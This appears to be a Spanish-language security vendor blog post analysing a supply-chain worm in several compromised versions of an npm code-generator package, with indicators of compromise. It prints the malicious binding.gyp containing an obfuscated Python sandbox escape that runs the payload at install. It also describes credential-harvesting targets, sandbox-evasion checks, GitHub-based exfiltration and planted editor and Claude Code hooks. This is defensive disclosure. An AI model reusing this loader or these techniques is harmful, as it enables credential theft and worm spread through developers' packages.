Aikido

Un popular generador de código para TanStack Query se ve afectado por un gusano de la cadena de suministro

Escrito por
Ilyas Makari

Solo ha pasado un día desde que nos enteramos de la noticia de Detienen a miembros de TeamPCP en Australia, y ahora hemos detectado un nuevo malware similar a TeamPCP que afecta a 10 versiones de un popular paquete de npm llamado @7nohe/openapi-react-query-codegen (+150 000 descargas semanales). Todas estas versiones se publicaron en npm en un plazo de 20 minutos. El paquete en cuestión genera hooks de TanStack Query con seguridad de tipos directamente a partir de un esquema OpenAPI, lo que evita a los desarrolladores tener que escribir código repetitivo a mano.

El malware se autodenomina «Trinitite: Patrocinado por Preview 2 Effects». La trinitita es el material vítreo que queda en el suelo del desierto tras una detonación nuclear. Las versiones anteriores de la carga útil hacían referencia a un script llamado literalmente is_it_this_simple.js, lo que resume bastante bien la actitud.

Aún no está claro si se trata de un imitador, de un antiguo miembro que logró escapar de las detenciones o de un actor malicioso totalmente distinto. Quienquiera que esté detrás de este ataque, sin duda comparte con TeamPCP su gusto por lo teatral.

Tanto el paquete npm como su repositorio correspondiente en GitHub parecen haber sido objeto de un ataque. El atacante consiguió acceder aprovechando una vulnerabilidad en uno de los flujos de trabajo de GitHub Actions del proyecto. Por lo tanto, todas las versiones incluyen certificados de procedencia válidos. Se trata de certificados criptográficos que demuestran que el paquete se ha compilado mediante el flujo de trabajo oficial de GitHub Actions. Sin embargo, cuando el propio flujo de trabajo se ve comprometido, ese certificado deja de ser una señal de confianza fiable.

El entorno de pruebas de binding.gyp escape

El gancho de ejecución inicial es binding.gyp, un archivo que normalmente se utiliza para configurar la compilación de complementos nativos de Node.js. Me sorprendió un poco ver que se utilizaba este truco concreto aquí, teniendo en cuenta que yo ya informamos sobre este tipo de vulnerabilidad a principios de este año. Parece que esta técnica se está popularizando.

¿Cuándo? npm install procesa un paquete que contiene un binding.gyp, invoca node-gyp para compilar el módulo nativo. node-gyp evalúa el condiciones campo del archivo mediante Python, lo que significa que se pueden introducir expresiones arbitrarias de Python en él y que se ejecutarán durante la instalación, incluso sin ningún preinstall script declarado en package.json.

El binding.gyp En este paquete tiene este aspecto:

{
  "variables": {
    "var": "Frot",
  },
  "conditions":[
     ["[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == u'\\U00000063\\U00000061\\U00000074\\U00000063\\U00000068\\U0000005f\\U00000077\\U00000061\\U00000072\\U0000006e\\U00000069\\U0000006e\\U00000067\\U00000073'][0]()._module.__builtins__[u'\\U0000005f\\U0000005f\\U00000069\\U0000006d\\U00000070\\U0000006f\\U00000072\\U00000074\\U0000005f\\U0000005f'](u'\\U0000006f\\U00000073').system(u'\\U0000006E\\U0000006F\\U00000064\\U00000065\\U00000020\\U00000033\\U00000046\\U00000057\\U00000043\\U00000076\\U0000007A\\U00000064\\U00000075\\U00000059\\U0000005A\\U00000067\\U0000002E\\U0000006A\\U00000073') == 0x00", {}],
  ],
  "targets": [
    {
      "target_name": "<(var)",
      "type":"\x6e\x6f\x6e\x65",
      "sources": ["dog.c"],
    }
  ]
}

La expresión condicional es un entorno aislado de Python escape que utiliza el catch_warnings clase, a la que se accede recorriendo la jerarquía de clases desde (). Una vez descodificados, los caracteres Unicode y los códigos hexadecimales se traducen en lo siguiente:

[c para c en ().__class__.__base__.__subclasses__() si c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node 3FWCvzduYZg.js')

Encuentra el catch_warnings clase a través del árbol de subclases interno de Python, y la utiliza para acceder a __builtins__, importaciones os, y llama a os.system() para ejecutar la carga útil principal con Node. El tipo El campo está codificado en hexadecimal ninguno por lo que no se intenta realizar ninguna compilación nativa, y el nombre del destino Frot no tiene sentido. El archivo entero existe únicamente para ejecutar un comando de shell.

Cabe señalar que no todas las versiones vulnerables utilizan este truco. Las dos versiones preliminares utilizan un método sencillo preinstall utiliza el script en su lugar. 0.0.0-ec7876d6c917dad516ba69bbfafc948b834bf0ab ejecuta nodo nu.js directamente. 0.0.0-365d4eb738d3146583431948d3ba6e27a32556be Descargas de Bun a través de wget conectado a bash y luego se ejecuta is_it_this_simple.js.

Dicho esto, las versiones comprometidas posteriores fueron aún más lejos e incorporaron ambos vectores a la vez, combinando el binding.gyp truco con un "preinstall": "node 3FWCvzduYZg.js" un guion, por si acaso.

Ofuscación y elusión de entornos de pruebas

3FWCvzduYZg.js es un archivo de una sola línea de 5,4 MB ubicado en el directorio raíz del paquete. El archivo utiliza cuatro capas de cifrado. La capa más externa es una matriz de enteros de 1,6 millones de elementos, sometida a una operación XOR con la clave 29. Al descifrarse, da como resultado un script que descarga el entorno de ejecución de Bun de forma silenciosa (como trinnyyyy-XXXXX (en el directorio temporal del sistema) y lo utiliza para ejecutar la carga útil real, que está cifrada con AES-128-GCM en su interior. La carga útil interna consiste en otros 800 KB de código JavaScript ofuscado que utiliza un cifrado personalizado de tabla aleatoria, además de las transformaciones estándar de obfuscator.io. Una vez descifrada y desofuscada por completo, contiene un recopilador de credenciales, un gusano y un comando destructivo.

Antes de hacer nada, la carga útil comprueba varias condiciones y se cierra sin mostrar ningún mensaje si se cumple alguna de ellas:

  • La configuración regional del sistema es el ruso (comprueba Intl.DateTimeFormat, LC_ALL, LC_MESSAGES, IDIOMA, LANG)
  • CrowdStrike, si existen los directorios « SentinelOne » o «CarbonBlack»
  • El directorio de trabajo comienza con /tmp/npm-safe/ o /opt/hscan-supplychain-dynamic/
  • Las variables de entorno contienen prefijos de credenciales falsas conocidos que utilizan los escáneres de seguridad (AKIAFAKE, npm_F4k3NPMToken, sk-ant-api03-falso, ghp_decoyGitHubToken)
  • El GITHUB_REPOSITORY_OWNER es una de las varias cuentas conocidas de investigadores en materia de seguridad (acciones-seguridad-demostración, h0x0er, varunsh-coder, rohan-stepsecurity)
  • La herramienta «harden-runner» de StepSecurity está activa

Qué roba

La carga útil tiene como objetivo una amplia gama de credenciales, tanto en plataformas en la nube como en herramientas de desarrollo y archivos locales.

Tokens de GitHub

Busca PAT clásicos (gh[op]_...) y tokens de gran detalle (github_pat_...) en variables de entorno y archivos locales. En los runners de GitHub Actions también solicita un token OIDC a través de ACTIONS_ID_TOKEN_REQUEST_TOKEN y ACTIONS_ID_TOKEN_REQUEST_URL.

Tokens de npm, PyPI y RubyGems

Lee ~/.npmrc y busca más .npmrc archivos. Extrae los tokens de portador y los valida comparándolos con registry.npmjs[.]org/-/whoami. Se dirige a los tokens de PyPI (pypi-AgEIcHlwaS5vcmcCJ...) y tokens de RubyGems (rubygems_...) mediante el mismo método.

Credenciales de AWS

  • AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN, y diez variables de entorno relacionadas
  • ~/.aws/credentials y ~/.aws/config
  • Servicio de metadatos de instancias de EC2 en 169[.]254[.]169[.]254, probando primero IMDSv2
  • Punto final de metadatos de contenedores de ECS en 169[.]254[.]170[.]2
  • Llamadas sts:GetCallerIdentity para verificar las credenciales antes de la exfiltración

Credenciales de Azure

  • AZURE_CLIENT_ID, AZURE_CLIENT_SECRET, AZURE_TENANT_ID, y el archivo de tokens federados
  • Punto final de identidad gestionada de Azure IMDS
  • Una vez autenticado, accede a Azure Key Vault, Azure Resource Manager y la API de Microsoft Graph

Credenciales de GCP

  • GOOGLE_APPLICATION_CREDENTIALS Archivo JSON de la cuenta de servicio
  • Servidor de metadatos de GCP en metadata[.]google[.]internal
  • Google Secret Manager una vez obtenido el token

HashiCorp Vault

  • VAULT_TOKEN_FILE, VAULT_TOKEN_PATH, VAULT_ADDR, VAULT_API_TOKEN
  • Enumera los secretos a través de /api/v1/system/me, /secretos, /api/v1/espacios de nombres

Kubernetes

  • Token de la cuenta de servicio en /var/run/secrets/kubernetes.io/serviceaccount/token
  • KUBECONFIG y ~/.kube/config
  • /etc/rancher/k3s/k3s.yaml

Análisis del sistema de archivos (más de 150 patrones «glob»)

  • Todas las claves privadas de SSH: ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.ssh/id_ecdsa, ~/.ssh/id_dsa, ~/.ssh/id*
  • ~/.docker/config.json, /root/.docker/config.json
  • .env, .env.local, .env.production
  • ~/.git-credentials, ~/.gitconfig, ~/.config/git/credentials
  • ~/.npmrc, ~/.pypirc, ~/.cargo/credentials.toml, ~/.terraform.d/credentials.tfrc.json
  • ~/.bash_history, ~/.zsh_history, ~/.node_repl_history
  • Carteras de criptomonedas: ~/.ethereum/keystore/*, ~/.monero/*, Ledger Live, Exodus
  • Datos de sesiones de mensajería: Signal, Telegram Desktop, Discord, Slack, Element
  • Configuraciones de VPN: NordVPN, OpenVPN, ProtonVPN, CyberGhost, Windscribe, PIA
  • Claude AI: ~/.claude.json, ~/.claude/*, ~/.claude/projects/*, ~/.claude/mcp.json
  • Dominios y tokens de JFrog Artifactory

Exfiltración

Una vez recopiladas las credenciales, la carga útil necesita un repositorio de GitHub para subirlas. Al igual que en ataques anteriores similares a Miasma, primero busca en el historial público de commits de GitHub aquellos commits cuyo mensaje coincida con "IfYouRevokeThisTokenYourABadUser:{encrypted_token}". Descifra el token incrustado y utiliza esa cuenta para crear el repositorio de exfiltración. Esto significa que los datos sustraídos a una víctima acaban en un repositorio propiedad de otro usuario.

El nombre del repositorio se genera combinando dos elementos elegidos al azar Proyecto Touhou nombres de personajes con un número aleatorio, por ejemplo cirno-marisa-74291 o reimu-kogasa-12048. La descripción del repositorio está configurada como «Trinitite: Patrocinado por Preview 2 Effects», que es la forma de identificar los repositorios de exfiltración en el entorno real:

Las credenciales robadas se guardan como archivos JSON cifrados con los nombres doubletrinnys-{contador}-{marca de tiempo}.json dentro de un resultados/ directorio. Cada archivo contiene dos campos: sobre, el paquete de credenciales cifradas, y clave, la propia clave de cifrado está cifrada con la clave pública RSA del atacante. Solo el atacante, que posee la clave privada correspondiente, puede descifrar el contenido. Los datos están a la vista de todos en los repositorios públicos de GitHub, pero son ilegibles para cualquier otra persona. Curiosamente, la mayoría de los mensajes de commit simplemente dicen: «miau, miau, miau».

Propagación del gusano

Trinitite utiliza tokens robados para propagarse a otros paquetes y repositorios.

npm, PyPI y RubyGems

Con un token de npm robado, la carga útil llama a registry.npmjs[.]org/-/npm/v1/tokens para encontrar el token de publicación con el nivel de privilegios más alto y, a continuación, consulta /v1/search?text=maintainer:{user} para enumerar todos los paquetes de los que es responsable el mantenedor. Obtiene el archivo tar actual de cada paquete e inserta un nuevo binding.gyp que contiene el mismo entorno aislado de Python escape, y añade una copia de 3FWCvzduYZg.js, y publica una nueva versión. El mismo procedimiento se aplica a PyPI (a través de upload.pypi[.]org/legacy/) y RubyGems (a través de rubygems[.]org/api/v1/gems). Todas las solicitudes de publicación utilizan {tls: {rejectUnauthorized: false}} para evitar la fijación de certificados.

Manipulación maliciosa de repositorios de GitHub

Con un token de GitHub robado, la carga útil enumera todos los repositorios y ramas accesibles, omitiendo las ramas cuyo nombre comience por comunicado de prensa/, dependabot/, renovar/, y copiloto/. Para cada rama, realiza el commit de los siguientes archivos:

  • .vscode/tasks.json con una configuración del gestor de tareas que contiene una puerta trasera
  • .claude/settings.json con un Inicio de sesión gancho que se ejecuta setup.mjs cada vez que un desarrollador abre el proyecto en Claude Code
  • .claude/setup.mjs que contiene la carga útil secundaria
  • .vscode/setup.mjs que contiene lo mismo
  • .github/workflows/codeql.yml, un flujo de trabajo de seguridad falso de CodeQL que también funciona como puerta trasera
  • .gemini/settings.json, .cursor/rules/debug.mdc, .codex/config.toml, .opencode/plugins/setup.js

Cada commit se atribuye a github-actions con el mensaje «tarea: actualizar dependencias» y un skip-checks:true remolque para eludir los controles de estado obligatorios.

Cómo Aikido detecta esto

Si es usuario de Aikido, revise su feed central y filtre por problemas de malware. Esto aparecerá como un problema crítico de 100/100. Aikido realiza reescaneos cada noche, pero recomendamos activar un reescaneo manual ahora.

Si aún no es usuario de Aikido, puede crear una cuenta y conectar sus repositorios. Nuestra cobertura de malware está incluida en el plan gratuito, sin necesidad de tarjeta de crédito.

Para una cobertura más amplia en todo su equipo, Device Protection de Aikido le proporciona visibilidad y control sobre los paquetes de software instalados en los dispositivos de su equipo. Cubre extensiones de navegador, bibliotecas de código, plugins IDE y dependencias de compilación, todo en un solo lugar. Detenga el malware antes de que se instale.

Para una protección futura, considere Aikido Safe Chain (código abierto). Safe Chain se integra en su flujo de trabajo existente, interceptando comandos npm, npx, yarn, pnpm y pnpx y verificando los paquetes con Aikido Intel antes de la instalación.

Indicadores de compromiso (IOCs)

‍Versiones del paquete

  • @7nohe/openapi-react-query-codegen@0.5.4
  • @7nohe/openapi-react-query-codegen@0.5.5
  • @7nohe/openapi-react-query-codegen@1.6.3
  • @7nohe/openapi-react-query-codegen@1.6.4
  • @7nohe/openapi-react-query-codegen@2.2.1
  • @7nohe/openapi-react-query-codegen@2.2.2
  • @7nohe/openapi-react-query-codegen@3.0.3
  • @7nohe/openapi-react-query-codegen@3.0.4
  • @7nohe/openapi-react-query-codegen@0.0.0-365d4eb738d3146583431948d3ba6e27a32556be
  • @7nohe/openapi-react-query-codegen@0.0.0-ec7876d6c917dad516ba69bbfafc948b834bf0ab

Archivos

  • 3FWCvzduYZg.js presente en el directorio raíz del paquete
    • SHA256: 8e5d1af68ca340ae0c6e8132cb00c686ec2d60502c1994d94ce353d1472ad5a3
    • SHA256: b49afb7dba04cd99b357ce7c652c823a3707f28e130bd5c6645851a7adc030d6
    • SHA256: 59370c67b54a0ccaedd265e2356f04540b2fba1e1845300ef6de4d5437d99380
    • SHA256: 778d6f0058045d6a2ab9a7e1d3e3be8e7e6b4d9cc217d13949bf1dfbab759a7c
    • SHA256: b24d121667f21f492cb9db34fbfd515d5922a8dd30b9c45215c7220abbb10ca8
    • SHA256: e1f1162ece9a6e6ea21a20399cbf31c563a8149d433a68711f4223870c203d5a
    • SHA256: b6012b2ff87f08f93ee53921c48db907ddbcf5461b03bb988083b01a36886237
    • SHA256: 709af2fdeb50324229e94c44c679a0fab18bd8e17d3864405989c526cbb63ad8
  • Directorios temporales denominados trinnyyyy- seguido de 6 caracteres alfanuméricos aleatorios (p. ej., trinnyyyy-a3f9k2) en la carpeta «temp» del sistema
Compartir:

https://www.aikido.dev/blog/popular-code-generator-for-tanstack-query-hit-by-supply-chain-worm

Escanear en busca de malware

Empieza gratis
4.7/5
¿Cansado de los falsos positivos?

Prueba Aikido como otros 100k.
Empiece ahora
Obtenga un recorrido personalizado

Con la confianza de más de 100k equipos

Reservar ahora
Escanee su aplicación en busca de IDORs y rutas de ataque reales

Con la confianza de más de 100k equipos

Empezar a escanear
Vea cómo el pentesting de IA prueba su aplicación

Con la confianza de más de 100k equipos

Empezar a probar

Asegura tu plataforma ahora

Protege tu código, la nube y el entorno de ejecución en un único sistema central.
Encuentra y corrije vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.